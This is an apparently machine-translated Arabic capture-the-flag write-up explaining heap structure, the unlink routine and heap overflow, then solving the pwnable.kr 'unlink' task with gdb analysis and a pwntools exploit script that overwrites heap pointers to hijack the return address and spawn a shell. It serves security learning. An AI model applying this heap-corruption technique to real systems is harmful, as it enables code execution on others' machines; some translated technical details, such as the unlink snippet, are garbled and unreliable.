في هذه المقالة ، سوف نتعامل مع مشكلة عدم حصانة تجاوز سعة المخزن المؤقت في الكومة ، وكذلك حل المهمة التاسعة عشرة من موقع
pwnable.kr .
المعلومات التنظيميةخاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:
- PWN.
- التشفير (التشفير) ؛
- تقنيات الشبكات (الشبكة) ؛
- عكس (الهندسة العكسية) ؛
- إخفاء المعلومات (Stegano) ؛
- بحث واستغلال مواطن الضعف WEB.
بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.
حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت
قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك
شخصيًا وسأجيب على الجميع .
يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.
كيف يتم تنظيم حفنة
يمكن أن تكون الذاكرة مشغولة (مخصصة) ومجانية. يوضح الشكل الذاكرة الديناميكية.
- SSize - حجم كتلة الذاكرة السابقة ، بشرط أن يكون مجانيًا.
- الحجم - حجم كتلة الذاكرة المعينة ، والتي تضاف إليها بتتان الحالة.
- بيانات - بيانات المستخدم.
- Fd هو مؤشر إلى الكتلة المجانية التالية.
- Bk - مؤشر إلى الكتلة الحرة السابقة.
- ذاكرة خالية من.

وبالتالي ، لا يمكن أن يكون اثنين من كتل الحرة الجيران. بالإضافة إلى ذلك ، على حدود ذاكرة النظام المشغولة والمجانية ، هناك كتلة W خالية مُعدة خصيصًا.

تمثيل الكتل في القوائم (السلال) كما يلي.

يتم استخدام طريقة إلغاء الربط لإزالة كتلة خالية من القائمة.
void unlink(S, BK, FD){ BK = S->bk; FD = S->fd; FD->bk=BK; FD->fd=FD; }
تخصيص وإطلاق الذاكرة
دعونا نرى كيف يعمل MMAP. في الخطوة الأولى ، يتم فحص صفائف الأحجام المطلوبة (على سبيل المثال ، 24 بايت). إذا كان هناك كتلة ضرورية ، فسيتم فصلها باستخدام إلغاء الربط.

في الخطوة الثانية ، إذا كانت هذه الكتلة كبيرة بدرجة كافية ، يتم تقسيمها إلى قسمين. يتم تخصيص الجزء الأول ، ويتم إعادة توزيع الجزء الثاني إلى مجموعة أخرى.

في الخطوة الثالثة ، إذا لم يتم تخصيص كتلة الحجم المطلوب ، فسيتم فحص الكتلة W. إذا كان يرضى ، ثم يتم إجراء الخطوات الثانية معه. إذا كانت الكتلة W صغيرة ، فسيتم استخدام sbrk () و mmap () لتوسيع الذاكرة المتوفرة. الطريقة الحرة هي عكس تماما ل MMAP.
تجاوز سعة المخزن المؤقت كومة الذاكرة المؤقتة
تجاوز سعة كومة الذاكرة المؤقتة هو نوع من سعة تجاوز سعة المخزن المؤقت الذي يحدث في منطقة بيانات كومة الذاكرة المؤقتة. يتم تخصيص الذاكرة على الكومة بشكل حيوي بواسطة التطبيق في وقت التشغيل وعادة ما تحتوي على بيانات البرنامج. يتم إجراء الاستغلال عن طريق إتلاف هذه البيانات بطريقة خاصة بحيث يقوم التطبيق بالكتابة فوق الهياكل الداخلية ، مثل المؤشرات إلى قائمة مرتبطة. الأسلوب تجاوز سعة الكومة الكنسي الكتابة فوق علاقة تخصيص الذاكرة الديناميكية (على سبيل المثال ، بيانات التعريف malloc) ويستخدم تبادل المؤشر لإعادة كتابة مؤشر إلى دالة برنامج.
على سبيل المثال ، في وظيفة Unlink ، باستخدام FD-> bk ، يمكنك تغيير قيمة كلمة تعسفية في الذاكرة. على سبيل المثال ، ضع كود القشرة لتغيير عنوان GOT. مثال على الفائض سيكون مثالاً.
حل وظيفة الحل
نضغط على الرمز الأول مع إلغاء ربط التوقيع ، وقيل لنا إننا بحاجة إلى الاتصال عبر SSH بضيف كلمة المرور.

عند الاتصال ، نرى الشعار المقابل.

دعونا نعرف ما هي الملفات الموجودة على الخادم ، وكذلك ما هي الحقوق التي لدينا.

دعنا نرى الكود المصدري.

لذلك لدينا كائن B مرتبط بالكائنات A و C. ثم يتم إدخال وتعبئة الكائن A. ، وبعد توصيل الكائنات A - B - C والتحكم في ملء A ، يمكننا تجاوز الكومة وإعادة كتابة الكائنات B و C. نحن بحاجة إلى إيجاد طريقة لاستغلال الثغرة الأمنية. دعونا ننظر من خلال gdb.

وبالتالي ، يمكنك كتابة كود القشرة وإعادة كتابة عنوان المرسل من الرئيسي إلى كود القشرة لدينا. يقع عنوان المرسل في esp من سجل ecx ، حيث يتغذى من ebp-4. عند تفكيك وظيفة إلغاء الربط ، نلاحظ أنه يمكن التحكم في ebp-4 عن طريق إدخال المستخدم.

دعونا نرى كيف توجد كائناتنا في الذاكرة وكيف تعمل وظيفة إلغاء الربط. يشغل كل كائن 16 بايت في الذاكرة (4 للمؤشرات و 8 للمخازن المؤقتة).

يحدث تخصيص الذاكرة للكائنات في الأسطر main + 38 و main + 54 و main + 70. قبل كل مكالمة ، يزيد مؤشر المكدس (esp) بمقدار 16 وينخفض بمقدار 12 ، وبعد ذلك يتم حجز 16 بايت.


وهذا هو ، هناك 4 بايت بين الهياكل.

التالي هو ربط وربط الأشياء.


وبالتالي ، نحتاج إلى أنه عند الرجوع من الوظيفة ، سينتقل العنوان إلى كومة الموقع + 12 ، والتي ستنقل التحكم إلى العنوان الذي يوجد به كود القشرة.

from pwn import * s = ssh("unlink", "pwnable.kr", password="guest", port=2222) ex = s.process("./unlink") shell_address = p32(0x80484eb) ans = ex.recv().split("\n") stack_addr = p32(int(ans[0].split(" ")[5],16) + 16) heap_addr = p32(int(ans[1].split(" ")[5],16) + 12) payload = shell_address + "A"*12 + heap_addr + stack_addr ex.sendline(payload) ex.interactive()

نحصل على قذيفة ، وقراءة العلم ، والحصول على 10 نقطة.

يمكنك الانضمام إلينا على
Telegram . في المرة القادمة سوف نتعامل مع تجاوز سعة الكومة.